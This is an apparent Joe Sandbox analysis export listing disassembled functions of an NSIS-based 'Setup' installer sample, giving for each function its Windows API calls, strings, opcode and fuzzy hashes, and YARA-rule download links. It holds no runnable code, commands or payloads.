Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

P1B, xrefs: 004033A9
X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(005FFFE0), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
PencilJeans, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$PencilJeans$Pop: stack empty
API String ID: 1459762280-2209050596
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(005FFFE0), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
PencilJeans, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$PencilJeans$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-4082241232
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041059371.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2041022937.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041100643.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041185902.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2041288862.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

